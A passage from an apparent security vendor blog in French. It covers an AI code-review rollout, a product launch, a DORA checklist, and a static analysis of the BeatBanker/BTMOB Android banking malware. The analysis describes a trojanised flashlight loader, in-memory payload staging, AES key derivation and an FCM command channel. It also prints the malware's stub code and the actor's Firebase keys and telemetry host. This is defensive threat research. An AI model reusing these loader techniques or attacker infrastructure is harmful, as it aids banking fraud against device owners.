C'est pourquoi nous sommes volontairement prudents. Nous préférons manquer un problème limite plutôt que d'habituer les ingénieurs à ignorer le relecteur.

D'une expérience interne à une fonctionnalité de plateforme

Ce qui a commencé comme une expérience interne oriente désormais une direction produit plus large.

Nous travaillons à intégrer des capacités de relecture de code pilotées par l'IA dans la plateforme Ostorlab. Avant d'exposer la fonctionnalité en externe, nous avons voulu l'utiliser sur nos propres pull requests, observer où elle aidait, et comprendre où elle avait besoin de garde-fous.

Cet usage interne a clarifié ce que la fonctionnalité devait être.

Elle ne devrait pas remplacer le jugement d'ingénierie. Elle ne devrait pas transformer chaque pull request en un mur de commentaires générés par l'IA. Elle ne devrait pas se comporter comme un relecteur junior trop sûr de lui, cherchant à prouver qu'il a trouvé quelque chose.

Elle devrait plutôt aider les équipes à détecter plus tôt dans le processus de développement les problèmes répétitifs, mécaniques et pertinents pour la sécurité.

Cela est particulièrement important pour la sécurité applicative. De nombreux problèmes de sécurité coûtent moins cher à corriger pendant la relecture de code qu'après le déploiement ou lors d'un scan ultérieur. Un relecteur IA utile peut compléter les workflows AppSec existants en identifiant des schémas à risque plus près du moment où le code est écrit.

Cela n'en fait pas un remplacement du SAST, du DAST, de la relecture de sécurité manuelle, ou des ingénieurs expérimentés. Cela en fait une couche supplémentaire dans le workflow : une couche axée sur un retour précoce, contextuel, destiné au développeur.

Nous avons déjà constaté l'intérêt d'utilisateurs demandant quand cette capacité sera disponible. Cette demande renforce notre conviction que la relecture de code devient une part importante du workflow de sécurité applicative.

Mais l'utilité compte plus que la rapidité de mise en production. Notre priorité est de rendre la fonctionnalité prudente, digne de confiance et pratique avant qu'elle n'atteigne les utilisateurs en production.

Leçons apprises

Les relecteurs IA ne sont pas des ingénieurs juniors

Une erreur courante est de traiter les relecteurs IA comme s'ils étaient des développeurs juniors.

Ils ne le sont pas.

Les ingénieurs juniors accumulent du contexte au fil du temps. Ils posent des questions. Ils se souviennent des décisions passées. Ils apprennent l'histoire d'un système et les préférences d'une équipe. Ils développent leur jugement par l'expérience.

Les systèmes d'IA fonctionnent différemment. Ils excellent dans la reconnaissance de schémas, la cohérence, la synthèse et l'analyse répétitive. Ils peuvent inspecter de grandes quantités de code rapidement. Ils peuvent identifier des problèmes mécaniques que les humains peuvent négliger.

Mais ils ne comprennent pas naturellement l'histoire organisationnelle, l'intention produit, ou les compromis architecturaux, à moins que ces éléments ne leur soient fournis.

Le meilleur rôle pour un relecteur IA n'est pas le remplacement. C'est l'assistance.

La confiance compte plus que la couverture

La métrique la plus importante n'est pas le nombre de constats que produit le relecteur.

C'est le nombre de constats auxquels les ingénieurs font confiance.

Un système qui produit dix commentaires précis et actionnables a plus de valeur qu'un système qui produit cent commentaires nécessitant une vérification manuelle. La couverture compte, mais seulement une fois que le système a gagné la confiance.

Pour les agents de relecture de code, la retenue est une fonctionnalité. Le silence est parfois la bonne sortie.

Le contexte fait la différence entre utile et bruyant

De nombreux échecs de relecture par IA sont des échecs de contexte.

Un modèle relisant un diff étroit peut identifier quelque chose qui paraît suspect mais est déjà traité ailleurs. Il peut recommander une convention qui entre en conflit avec le dépôt. Il peut se méprendre sur un environnement de test, une hypothèse d'exécution, ou une frontière architecturale.

De meilleurs modèles aident, mais un meilleur contexte compte tout autant.

Le relecteur a besoin d'accéder aux informations qu'un relecteur humain utiliserait naturellement : le code environnant, les fichiers liés, les tests, les conventions, la configuration et les schémas antérieurs.

Sans ce contexte, le système devine. Et des suppositions assurées sont dangereuses en relecture de code.

Parfois, la bonne décision est de s'arrêter

Notre première tentative a échoué.

À l'époque, c'était décevant. Avec le recul, c'est l'un des résultats les plus utiles du projet.

L'arrêter nous a forcés à comprendre le vrai problème. Le problème n'était pas simplement que le modèle devait être meilleur. Le problème était que notre système était optimisé pour produire des commentaires de relecture, plutôt que pour produire des commentaires de relecture dignes de confiance.

Lorsque nous sommes revenus sur le projet, nous ne repartions pas de zéro. Nous construisions sur les leçons de la version ayant échoué.

Tous les projets d'ingénierie ne réussissent pas du premier coup. Parfois, la bonne décision est de s'arrêter, d'apprendre, et de revenir lorsque la technologie et votre compréhension du problème se sont toutes deux améliorées.

C'est ce qui s'est passé ici.

Nous ne pensons toujours pas que l'IA devrait remplacer la relecture humaine des pull requests. Mais nous pensons qu'elle peut rendre la relecture meilleure lorsqu'elle est ciblée, contextuelle et prudente.

L'objectif n'est pas un relecteur IA qui commente davantage.

L'objectif est un relecteur IA auquel les ingénieurs font vraiment confiance.

Présentation de Single Vulnerability Assessment et Dig Deeper d'Ostorlab

2026-06-02T16:00:00+02:00

Le scan de sécurité traditionnel impose souvent une approche « faire bouillir l'océan » : exécuter des contrôles massifs et à large spectre, qui consomment énormément de ressources de calcul et génèrent un bruit écrasant. Mais dans un paysage de menaces qui évolue vite, la précision et la rapidité comptent avant tout. Parfois, vous n'avez pas besoin d'une évaluation complète et exhaustive ; vous avez besoin de répondre à une seule question critique, avec une clarté absolue.
Aujourd'hui, nous lançons un moteur d'orchestration IA puissant et hautement ciblé, conçu pour offrir aux équipes sécurité, aux développeurs et aux chasseurs de bug bounty un contrôle chirurgical sur leurs workflows de sécurité. Ce moteur est accessible via deux points d'entrée distincts selon votre besoin immédiat : Single Vulnerability Assessment (SVA) et Dig Deeper.
Reposant sur exactement la même logique IA avancée en coulisses, ces fonctionnalités vous permettent d'exécuter un contrôle ultra-ciblé, seule la façon dont l'investigation est déclenchée dans l'interface utilisateur change.

Un seul moteur, deux points d'entrée

Parce que SVA et Dig Deeper utilisent exactement la même infrastructure d'agents IA sous-jacente, ils offrent une profondeur et une précision identiques. La différence tient entièrement à l'endroit où vous vous trouvez dans votre workflow lorsque vous en avez besoin :

Single Vulnerability Assessment (SVA) : déclenché comme un scan autonome et nouveau depuis le tableau de bord de l'actif. Vous définissez l'actif et la faille cible précise depuis zéro.
Dig Deeper : déclenché de manière réactive depuis un rapport de scan existant. Vous voyez une vulnérabilité précise qui semble suspecte, et vous lancez le moteur directement depuis la page de cette vulnérabilité pour approfondir l'investigation.

1. Single Vulnerability Assessment (SVA)

Des tests autonomes et ciblés

Quand vous savez exactement ce que vous cherchez, lancer un scan complet est excessif. SVA vous permet de configurer un nouveau scan qui contourne entièrement les profils de test à large spectre, en pointant le moteur IA sur un objectif unique. Il est conçu comme un moyen hautement localisé et économique de réaliser des contrôles ponctuels, sans la charge d'une évaluation complète.

Cas d'usage de SVA en un coup d'œil

Scénario	Comment SVA aide
Validation de bug bounty	Reproduire et valider instantanément la soumission d'un chercheur externe avant de la transmettre aux développeurs.
Validation de correctif	Vérifier que le correctif d'une équipe de développement a bien résolu une vulnérabilité précise avant de clore le ticket.
Évaluation ciblée et économique	Auditer rapidement un actif unique pour un risque ou une CVE très spécifique, en minimisant la consommation de ressources de calcul.

2. Dig Deeper

Triage en contexte et préservation du contexte

Trouver une vulnérabilité est rarement la partie la plus difficile du triage de sécurité ; la vraie friction se situe dans ce qui vient ensuite. Historiquement, vérifier si un problème signalé était un faux positif, ou prouver son exploitabilité, signifiait quitter son tableau de bord, ouvrir de nouveaux onglets, récupérer le code et tenter de reproduire manuellement le problème, ce qui faisait perdre un contexte essentiel en chemin.
Dig Deeper apporte exactement le même moteur IA ciblé directement dans vos résultats de scan existants. Au lieu de configurer un nouveau scan depuis zéro, un simple clic transmet le contexte de votre vulnérabilité actuelle directement à l'agent IA.

Trois parcours sur mesure vers la certitude

Lorsque vous déclenchez Dig Deeper depuis une vulnérabilité, vous pouvez orienter l'agent IA selon trois pistes d'investigation distinctes :

Vérifier un faux positif : laissez l'agent évaluer systématiquement le contexte pour prouver si la faille constitue une menace réelle ou n'est qu'un bruit de fond.
Lancer une investigation approfondie : demandez au moteur de plonger dans les nuances techniques de la vulnérabilité, en cartographiant les vecteurs d'exploitation potentiels.
Réaliser une action personnalisée : prenez le contrôle complet en orientant le parcours d'investigation pour qu'il corresponde à vos paramètres de sécurité internes.

Orchestration IA Bring-Your-Own-Key

Que vous lanciez un scan SVA ou déclenchiez une session Dig Deeper, vous utilisez le framework d'agents IA de nouvelle génération d'Ostorlab. Comme ces investigations reposent fortement sur le raisonnement approfondi et l'analyse multimodale, fournir une clé d'API d'un fournisseur d'IA est une étape obligatoire.
Pour concilier déploiement rapide et audit de niveau expert, les deux workflows proposent deux niveaux de configuration :

Configuration simple : fournissez une seule clé d'API de votre fournisseur d'IA préféré pour alimenter de bout en bout la logique d'investigation automatisée standard.
Configuration avancée : pour les équipes exigeant une précision maximale, vous pouvez répartir des tâches cognitives distinctes entre des modèles spécialisés afin d'optimiser les performances et de réduire les angles morts :
- Détection et détection alternative : un modèle principal et un modèle secondaire travaillent en tandem pour identifier les vecteurs d'attaque et réaliser une analyse comparative.
- Validation : un modèle dédié intervient strictement pour vérifier les vulnérabilités, filtrer le bruit et rejeter les résultats qui ne tiennent pas la route.
- Vision : un modèle multimodal prend en charge l'analyse visuelle, en interprétant les captures d'écran de l'application et en évaluant le contexte de l'interface utilisateur, comme le ferait un examinateur humain.

Comment lancer ces scans

Configurer une évaluation ciblée ou une investigation approfondie ne prend que quelques minutes. Voici le processus étape par étape pour mettre en place ces workflows dans votre tableau de bord.

Lancer un scan SVA

1. Définir l'actif :

Commencez par localiser l'application que vous voulez tester. Utilisez la barre de recherche pour trouver le nom de l'application et préciser la plateforme sur laquelle elle est hébergée. Gardez à l'esprit que la plupart des environnements majeurs sont pris en charge, mais que HarmonyOS et AppGallery ne sont pas encore disponibles.

2. Configurer le profil de scan :

Une fois votre actif sélectionné, allez dans la section Profil de scan et choisissez Single Vulnerability Assessment. Cela indique au moteur de contourner les contrôles standard à large spectre et de se concentrer exclusivement sur la faille précise que vous recherchez.

3. Choisir votre fournisseur d'IA :

Fournissez votre clé d'API, en mode simple ou avancé.

4. Orienter le comportement avec des prompts :

La dernière étape consiste à définir précisément le comportement attendu du scan. Sélectionnez un ou plusieurs prompts pour orienter la logique de l'agent, en adaptant l'investigation aux nuances précises de la faille ciblée.

Déclencher une session Dig Deeper

1. Partir de n'importe quelle vulnérabilité :

Depuis la page des résultats du scan, ouvrez la vulnérabilité individuelle que vous souhaitez approfondir et cliquez sur le bouton Dig Deeper.

2. Choisir votre parcours d'investigation :

Une fois dans la vue de configuration, sélectionnez le parcours souhaité (Vérifier un faux positif, Lancer une investigation approfondie, ou Réaliser une action personnalisée).

3. Fournir votre clé d'API IA :

Saisissez la clé de votre fournisseur préféré ou utilisez la configuration avancée optionnelle pour attribuer des modèles spécialisés aux tâches de détection, de validation et de vision. Lancez le scan approfondi pour transformer immédiatement un problème signalé en information de risque exploitable, sans quitter votre onglet actuel.

Découvrez la sécurité de précision dès aujourd'hui

Les évaluations à grande échelle resteront toujours un socle essentiel d'une posture de sécurité saine. Mais lorsque vous devez agir avec agilité, rapidité et concentration, SVA et Dig Deeper sont votre nouveau standard opérationnel.
Connectez-vous dès aujourd'hui à votre tableau de bord Ostorlab pour lancer votre premier scan SVA ciblé ou pour plonger sous la surface de vos vulnérabilités avec Dig Deeper.

La sécurité, simplifiée. Le risque, éliminé.
— L'équipe sécurité d'Ostorlab

Checklist de conformité DORA pour la banque et la fintech : validation de la résilience opérationnelle prête pour l'audit

2026-04-29T09:23:00+02:00

Le règlement sur la résilience opérationnelle numérique (Digital Operational Resilience Act, DORA) transforme la façon dont les banques, les fintechs, les prestataires de paiement et les institutions financières au sens large abordent la cybersécurité, la continuité opérationnelle et la responsabilité réglementaire.

Pour les organisations du BFSI, DORA n'est pas une simple obligation de conformité de plus. Il introduit un modèle réglementaire fondé d'abord sur la résilience, qui impose aux institutions de valider en continu que leurs systèmes numériques, leurs dépendances envers des tiers, leurs applications mobiles, leurs API et leurs contrôles de sécurité internes peuvent résister à une perturbation opérationnelle.

La conformité n'est donc plus théorique. Les institutions financières doivent prouver leur résilience par des preuves techniques, des contrôles documentés et une gouvernance mesurable. Pour les équipes sécurité de la banque et de la fintech, une checklist de conformité DORA pratique devient indispensable pour transformer de larges exigences réglementaires en actions opérationnelles concrètes.

Pourquoi les équipes de la banque et de la fintech ont besoin d'une checklist DORA structurée

Les écosystèmes financiers modernes reposent sur des infrastructures numériques très interconnectées, notamment des applications de banque mobile, des API de paiement, des systèmes d'authentification, des environnements cloud, des SDK embarqués, des fournisseurs fintech externes, des éditeurs SaaS et des plateformes de reporting réglementaire.

Cette complexité crée de multiples vecteurs d'attaque internes et chez les tiers. DORA y répond directement en imposant aux organisations d'évaluer et de renforcer leur résilience opérationnelle autour de six piliers critiques : la gestion du risque lié aux TIC, la gestion et la déclaration des incidents, les tests de résilience opérationnelle numérique, la gestion du risque lié aux tiers, le partage d'informations et la supervision de la gouvernance.

Une checklist structurée aide les institutions à établir des bases de référence de mise en œuvre, à identifier les lacunes de sécurité, à standardiser la collecte de preuves, à améliorer la préparation à l'audit, à prioriser la remédiation et à renforcer la supervision par la direction.

Checklist de conformité DORA

Cette checklist aide les institutions financières à évaluer leur niveau de préparation sur les six piliers fondamentaux de DORA. Pour chaque domaine de contrôle, les équipes doivent évaluer l'état actuel de mise en œuvre, documenter les preuves à l'appui et identifier les priorités de remédiation.

Le statut peut être suivi à l'aide de quatre niveaux de préparation simples : Non démarré, En cours, Mis en œuvre et À revoir.

1. Gestion du risque lié aux TIC

Objectif : garantir la visibilité, le contrôle et la protection de tous les actifs numériques.

Classer les actifs selon leur criticité et leur impact métier
Définir et documenter un cadre de gestion du risque lié aux TIC
Mettre en œuvre des politiques de contrôle d'accès (RBAC, moindre privilège)
Appliquer le chiffrement des données au repos et en transit
Activer la journalisation et la surveillance centralisées
Établir des pratiques de développement sécurisé (revue de code, vérification des dépendances)
Effectuer des sauvegardes régulières et tester les procédures de restauration
Définir l'appétence au risque et les seuils de tolérance

Preuves : inventaire des actifs, politiques de sécurité, schémas d'architecture, journaux

2. Gestion et déclaration des incidents

Objectif : détecter les incidents, y répondre et les déclarer efficacement.

Définir ce qui constitue un incident lié aux TIC
Mettre en œuvre des mécanismes de détection en temps réel (alertes, outils de surveillance)
Maintenir un plan de réponse aux incidents (IRP) documenté
Attribuer les rôles et responsabilités pour le traitement des incidents
Classer les incidents par niveaux de sévérité
Maintenir des journaux d'incidents et des pistes d'audit
Mener une analyse des causes racines (RCA) après les incidents
Garantir le respect des délais de déclaration réglementaires

Preuves : journaux d'incidents, documentation de l'IRP, rapports post-mortem

3. Tests de résilience opérationnelle numérique

Objectif : valider les contrôles de sécurité par des tests continus.

Mener des évaluations de vulnérabilités régulières
Réaliser des tests d'intrusion (internes et externes)
Mettre en œuvre des tests d'intrusion fondés sur la menace (TLPT) pour les systèmes critiques
Tester les applications mobiles, les API et les systèmes backend
Valider les résultats par des preuves techniques (et non uniquement théoriques)
Suivre l'avancement de la remédiation et retester les correctifs
Conserver la documentation de toutes les activités de test

Preuves : rapports de scan, rapports de pentest, suivi de la remédiation

4. Gestion du risque lié aux tiers

Objectif : gérer les risques introduits par les prestataires externes.

Tenir un registre de tous les prestataires tiers de services TIC
Classer les fournisseurs selon le risque et la criticité
Effectuer une diligence raisonnable avant d'intégrer des fournisseurs
Inclure des clauses de sécurité et d'audit dans les contrats
Surveiller en continu la performance et le niveau de sécurité des fournisseurs
Définir des stratégies de contingence et de sortie
Évaluer le risque de concentration entre les prestataires

Preuves : registre des fournisseurs, contrats, évaluations de risque

5. Partage d'informations

Objectif : renforcer la résilience par la collaboration et le renseignement.

Participer à des initiatives de partage de renseignement sur les menaces
Partager les indicateurs de compromission (IOC) le cas échéant
Intégrer des flux externes de renseignement sur les menaces
Garantir le respect des exigences de confidentialité et de protection des données

Preuves : abonnements au renseignement sur les menaces, politiques de partage

6. Gouvernance et supervision

Objectif : garantir la responsabilité et l'alignement stratégique.

Établir une supervision du risque lié aux TIC au niveau du conseil d'administration
Fournir des rapports réguliers à la direction
Maintenir à jour les politiques et procédures
Dispenser aux employés une formation de sensibilisation à la sécurité
Réaliser des audits internes et des revues de conformité

Preuves : rapports au conseil, registres de formation, résultats d'audit

Comment Ostorlab renforce la préparation à DORA dans la banque et la fintech

Protéger les données financières des clients exige plus que des revues de conformité périodiques. Ostorlab aide les organisations du BFSI à rendre opérationnelle leur préparation à DORA grâce à une validation de sécurité continue, fondée sur les preuves.

Découverte autonome des vulnérabilités

Ne vous contentez pas d'évaluations ponctuelles. Ostorlab scanne en continu les applications de banque mobile, les plateformes web, les API, les systèmes d'authentification et les services backend pour identifier les failles de sécurité qui pourraient exposer les parcours de paiement, les comptes clients, les données financières sensibles ou les opérations métier critiques.

Évaluation automatisée des risques

Chaque vulnérabilité doit être priorisée selon son impact opérationnel. Ostorlab automatise l'analyse technique des risques, la priorisation, la planification de la remédiation et le reporting prêt pour l'audit, ce qui aide les équipes à accélérer leur préparation à DORA tout en améliorant la qualité du triage.

Détection des fuites de données chez les tiers

Les intégrations externes peuvent élargir silencieusement la surface d'attaque. Ostorlab aide à surveiller le comportement des SDK, les flux de données des API tierces, les transmissions de données non autorisées et les failles de sécurité de la chaîne d'approvisionnement, ce qui soutient les obligations de gouvernance des tiers prévues par DORA.

Mappage de conformité avec les cadres réglementaires

Ostorlab soutient un alignement de conformité fondé sur les preuves pour DORA, PCI DSS, le RGPD, NIS2, FFIEC et d'autres cadres réglementaires. Cela aide les équipes sécurité à réduire les efforts de conformité en double tout en améliorant la maturité en matière de résilience.

De la conformité à la résilience opérationnelle

La préparation à DORA ne s'obtient pas par les seules politiques. Les institutions financières doivent valider en continu les contrôles de sécurité, la gouvernance des fournisseurs, la maturité des tests, les capacités de détection et la supervision par la direction. Une checklist de conformité DORA pratique transforme les exigences réglementaires en mise en œuvre mesurable. Combinée à la validation technique continue d'Ostorlab, elle permet aux organisations d'améliorer leur préparation à l'audit, de réduire le risque opérationnel, de renforcer la confiance des clients, de soutenir la responsabilité au niveau du conseil d'administration et de protéger les écosystèmes financiers numériques.

Téléchargez la checklist DORA interactive

Évaluez votre niveau de préparation, suivez l'état de la mise en œuvre et joignez des preuves prêtes pour l'audit sur les principaux piliers de résilience de DORA. Télécharger la checklist

Analyse du malware bancaire Android BeatBanker/BTMOB

2026-04-28T14:00:00+02:00

Contexte

En mars 2026, l'un de nos clients bancaires nous a contactés après avoir reçu des signalements indiquant que plusieurs de ses clients utilisant l'application mobile avaient été compromis par un échantillon de malware Android. Les victimes décrivaient un comportement cohérent avec un vol d'identifiants et des tentatives de transactions non autorisées provenant de leurs propres appareils, l'application mobile de la banque semblant être au centre de l'attaque. Le client nous a fourni une copie de l'APK suspect, distribué aux victimes sous la forme d'un utilitaire de lampe de poche appelé LumoLight, et nous a demandé de déterminer ce que fait ce malware, de quoi il est capable et comment s'en défendre.

Cet article documente cette analyse. Notre objectif était d'établir l'ensemble des capacités de l'échantillon et, lorsque c'était possible, de l'attribuer à un acteur malveillant connu, afin que les équipes de défense, de surveillance de la fraude et de sensibilisation des clients puissent réagir à partir d'informations exactes. Le travail a été mené sous forme d'analyse purement statique : l'APK et ses payloads par étapes ont été décompressés, déchiffrés et soumis à une rétro-ingénierie sans exécution. Cette approche est délibérée : elle évite tout risque d'interaction en direct avec le C2 qui pourrait alerter l'opérateur, mais elle limite aussi ce que nous avons pu ou non déterminer, ce que nous précisons explicitement plus loin dans le rapport.

Synthèse

TV_V_23.apk est une plateforme de malware bancaire Android à étapes multiples, distribuée sous la forme d'une fausse application de lampe de poche appelée LumoLight. Derrière la façade d'un utilitaire inoffensif, elle déploie une chaîne de chargeurs en quatre étapes qui installe au final un outil d'accès à distance (RAT) complet, un cryptomineur furtif et un moteur de diffusion de phishing en direct, le tout sans exploiter aucune vulnérabilité de l'appareil.

Principaux constats :

Capacités. Le payload de la dernière étape donne à un opérateur distant une visibilité totale sur l'appareil infecté, ainsi qu'un contrôle complet : capture d'écran en direct, interaction en temps réel avec l'interface de n'importe quelle application (y compris les applications bancaires), interception des SMS et des OTP, diffusion d'overlays de phishing et exfiltration de fichiers.
Le ciblage est configurable à l'exécution, pas codé en dur. L'analyse statique de l'échantillon a confirmé qu'aucune banque précise n'est intégrée à l'APK : les établissements ciblés sont envoyés à tout moment depuis le serveur de commande et contrôle (C2) de l'opérateur, ce qui signifie que n'importe quelle banque peut être ciblée sur l'ensemble du parc infecté au moyen d'un seul message. Une vidéo de preuve de concept publiquement disponible, montrant l'interface C2 côté opérateur, apporte une corroboration indépendante : elle affiche une liste de cibles active, remplie de noms de package des principales applications bancaires mobiles, ce qui confirme que le ciblage des banques est une fonctionnalité réellement utilisée de cette plateforme dans la nature, et non une capacité théorique.
Monétisation parallèle. Une étape auxiliaire distincte installe un cryptomineur qui génère des revenus pour l'acteur malveillant, que des identifiants bancaires soient capturés ou non.
Attribution. Les indicateurs d'infrastructure et de comportement placent cet échantillon, avec un niveau de confiance élevé, dans le cluster de campagnes BeatBanker / BTMOB rapporté publiquement.

L'essentiel pour le client : tout appareil sur lequel TV_V_23.apk a été installé et exécuté doit être considéré comme entièrement compromis. Une suppression partielle n'est pas fiable, car les payloads en aval s'installent et persistent indépendamment du chargeur d'origine. Et comme le ciblage est contrôlé par l'opérateur plutôt qu'intégré au malware, l'absence de contenu propre à une banque dans cet échantillon ne signifie pas que la menace pesant sur les clients s'est dissipée : la même infrastructure peut changer de cibles à tout moment.

Identification de l'échantillon

L'échantillon analysé dans ce rapport est un unique package d'application Android. Ses métadonnées d'identification sont résumées ci-dessous.

Champ	Valeur
Nom du fichier	TV_V_23.apk
Package visible	com.bitmavrick.lumolight
SHA-256	5686a80c1e66c468cbc36fab816f8fa2a28538beddcc1f9846a1c1d6aaa2855c
MD5	6160d680280c07af0cbee782f423be2f
Image de marque visible	LumoLight (utilitaire de lampe de poche / paramètres rapides)
Objectif réel	Chargeur Android à étapes multiples, RAT, dropper de mineur
Association à une campagne	BeatBanker / BTMOB (confiance élevée)

Comment l'échantillon a été distribué. L'APK est parvenu aux victimes par ingénierie sociale ; le vecteur de livraison précis est hors du périmètre de ce rapport. Ce qui est directement pertinent, c'est le choix du déguisement : une lampe de poche ou un utilitaire de paramètres rapides appartient à une catégorie d'applications peu scrutée, que les utilisateurs installent souvent en sideloading sans examiner attentivement les permissions, ce qui en faisait une enveloppe extérieure idéale pour un chargeur malveillant.

Signaux d'alerte lors du tri initial. Avant toute rétro-ingénierie approfondie, trois observations de surface ont suffi à confirmer que l'échantillon méritait une analyse complète :

Application open source trojanisée. Le package com.bitmavrick.lumolight est un fork trojanisé du projet public de lampe de poche BitMavrick/Lumolight : l'URL du dépôt amont est d'ailleurs toujours intégrée à l'APK externe. L'attaquant n'a pas fabriqué une fausse application de toutes pièces ; il a pris la base de code légitime fonctionnelle, conservé son image de marque et sa fonction de lampe de poche, et y a injecté une sous-classe Application malveillante, un chargeur natif et une activité exclusivement native. Comme l'application installée se comporte réellement comme une lampe de poche (l'interface d'origine de luminosité et de flash et le service de tuile des paramètres rapides sont tous deux toujours présents et fonctionnels), la vérification instinctive de la victime (« cette application fait-elle ce qu'elle annonce ? ») renvoie une réponse rassurante, et les soupçons s'arrêtent là.
Ensemble de permissions incohérent pour une lampe de poche. Le manifeste demande REQUEST_INSTALL_PACKAGES, QUERY_ALL_PACKAGES et RECEIVE_BOOT_COMPLETED, et déclare des composants Firebase Cloud Messaging. Un utilitaire de lampe de poche n'a aucune raison légitime d'installer d'autres applications, d'énumérer toutes les applications de l'appareil, de survivre aux redémarrages ou de maintenir un canal de notifications push. N'importe laquelle de ces permissions, prise seule, serait déjà notable ; ensemble, elles caractérisent un chargeur, pas un utilitaire.
Contenu suspect du répertoire des assets. Le répertoire assets/ contenait des blobs binaires à forte entropie, avec des noms de fichiers obfusqués, une structure typique de la mise en place par étapes de payloads chiffrés plutôt que de ressources d'application normales (images, polices, localisations).

Prises ensemble, ces trois observations ont fait passer l'analyse de la question « est-ce malveillant ? » à la question « quel type de malveillance, et à quelle échelle ? », à laquelle répond le reste de ce rapport.

Étape 1 : la première rencontre de la victime, application leurre et bootstrap natif

Application hôte open source trojanisée.

L'APK externe est construit autour du projet public de lampe de poche BitMavrick/Lumolight. La base de code légitime est intacte et fonctionnelle : FlashTileActivity, LumolightTileService et le MainActivity de lancement fonctionnent toujours comme prévu.

Figure 1 : l'interface de LumoLight telle que la voit la victime : une application de lampe de poche fonctionnelle qui dissimule le malware s'exécutant dans le même processus.

L'attaquant a injecté quatre composants malveillants par-dessus :

com.bitmavrick.lumolight.LumolightApp : une sous-classe Application injectée qui fait appel au bootstrap malveillant lors de l'initialisation du processus.
com.bitmavrick.lumolight.IonisedConvincing : le chargeur de la bibliothèque native libmetaspermousdevitrifiednoiseful.so.
com.bitmavrick.lumolight.UnablyBrattain : une activité exclusivement native.
Une modification du MainActivity de lancement qui invoque startActivity(new Intent(this, UnablyBrattain.class)) immédiatement après l'initialisation de l'interface normale de l'application, transmettant le contrôle à l'activité malveillante exclusivement native sans interrompre l'expérience de lampe de poche visible par l'utilisateur.

Des permissions malveillantes et des composants cachés com.yqzg.parrnell ont été ajoutés au manifeste AndroidManifest.xml. Comme l'application fonctionne réellement comme une lampe de poche, la vérification instinctive de la victime renvoie une réponse rassurante.

Détournement du cycle de vie de l'application par une bibliothèque native

Les méthodes attachBaseContext et onCreate de com.bitmavrick.lumolight.LumolightApp, qui sont les premiers points d'entrée du cycle de vie, appelés avant l'affichage de toute interface, sont déclarées natives et implémentées dans libmetaspermousdevitrifiednoiseful.so. Android confie le contrôle aux implémentations natives plutôt qu'à Java. Le nom obfusqué de la bibliothèque constitue lui-même un signal d'anti-analyse mineur, choisi pour éviter la correspondance par mots-clés avec des noms de bibliothèques connues comme malveillantes.

Le même schéma réapparaît à l'étape 3. L'APK auxiliaire (com.sywo.chelingas, étape 3) utilise un schéma de transfert natif identique, mais, n'ayant aucun code légitime à préserver, sa sous-classe Application ne contient rien d'autre qu'un appel à System.loadLibrary et deux déclarations de méthodes natives :

// APK: com.sywo.chelingas (Stage 3 helper)
// JADX source: sources/pjOZQC/c6xmV4.java
//
// Shown here as evidence that Stage 1's native-handoff architecture
// is a deliberate, reused pattern across the malware's stages — not a
// one-off. The helper's Application class contains no Java logic;
// both lifecycle methods are declared 'native' and implemented
// entirely inside liblixhokfsmav.so, invisible to JADX.

public class c6xmV4 extends Application {

    public Object eeHugaithaikuu9u = null;

    static {
        System.loadLibrary("lixhokfsmav");
    }

    @Override
    public native void attachBaseContext(Context context);

    @Override
    public native void onCreate();
}

À l'étape 1, le transfert est injecté dans une hiérarchie de classes légitime ; à l'étape 3, il s'agit d'une coquille conçue sur mesure. Même intention : pousser la logique critique dans du code natif, hors de portée de l'analyse statique de la couche Java.

Mise en place par étapes de payloads chiffrés

Le bootstrap natif déchiffre deux blobs du répertoire assets/ de l'APK. Les deux routines de chiffrement résident dans la bibliothèque native et ne sont exposées dans aucune classe Java lisible ; les détails ci-dessous ont été récupérés à partir des artefacts de payloads issus des étapes suivantes, et non du code source de l'APK externe.

Chemin de l'asset	Chiffrement	Produit
vyh3u73x8mp5elng	XOR répété	DEX de bootstrap (stage1_bootstrap_loader.dex, SHA-256 58e39152...)
s3h8m8q8kb38a4iy/ksqzvp1v	AES-CBC/PKCS5Padding, key = SHA-1(basename)[:16], zero IV	APK orchestrateur caché (com.yqzg.parrnell)

Le DEX de bootstrap charge l'orchestrateur déchiffré en mémoire par manipulation réflexive du tableau dexElements du class-loader parent (sur les niveaux d'API récents, makeInMemoryDexElements), le même schéma que celui directement confirmé dans l'auxiliaire de l'étape 3. L'APK orchestrateur n'est jamais écrit sur le disque sous une forme analysable par un scanner.

Chaque point d'entrée dont dépend un flux de travail Android classique est soit remplacé par du code légitime, soit déplacé dans du code natif. Quiconque n'est pas prêt à faire de la rétro-ingénierie ARM regarde la mauvaise couche.

Étape 2 : l'orchestrateur caché, mise en place de la persistance et du contrôle via le cloud

Connectivité cloud via Firebase Cloud Messaging

L'orchestrateur s'enregistre auprès d'un projet Firebase contrôlé par l'acteur malveillant. La configuration est intégrée à l'étape 2 sous forme obfusquée : com.yqzg.parrnell.App construit un objet d'options JQHWyjC66EcSxmVdbe contenant ApplicationId, ApiKey, gcmSenderId, storageBucket et projectId, et uvddntLtzpPJk8Xjs5.java l'utilise pour initialiser l'application Firebase par défaut à l'exécution. La même configuration apparaît également en clair dans le DEX auxiliaire final récupéré (étape 3) ; les deux étapes la portent de manière indépendante.

Champ	Valeur
Firebase App ID	1:39848184100:android:c44d4f602ecf40683bcbb1
Firebase API Key	AIzaSyDDRPszQIVKnbIBw9nZuuhferi4-I0xwXU
Firebase Sender ID	39848184100
Firebase Project	waking-21b04
Firebase Bucket	waking-21b04.firebasestorage.app
Hôte de télémétrie	https://aptabase.jesfeoqrj3.xyz:8443

Firebase Cloud Messaging (FCM) est un service Google légitime utilisé par les applications grand public pour envoyer des notifications push. En utilisant FCM comme canal de commande, l'opérateur obtient simultanément trois avantages :

Le trafic se fond dans la masse. Les messages FCM transitent par l'infrastructure de Google et apparaissent dans les journaux réseau comme du trafic de notification ordinaire, ce qui les rend presque indiscernables du comportement légitime d'une application sans inspection au niveau du payload.
Livraison fiable vers les appareils en arrière-plan ou en veille. Android délivre les pushs FCM même lorsque l'application n'est pas en cours d'exécution, ce qui permet à l'opérateur de réveiller les appareils infectés à la demande.
Aucun domaine contrôlé par l'opérateur n'est nécessaire pour le chemin de réveil principal. L'appareil infecté contacte fcm.googleapis.com, et non l'infrastructure de l'attaquant, ce qui signifie que de simples défenses par liste de blocage de domaines en périmètre ne suffisent pas à couper ce canal.

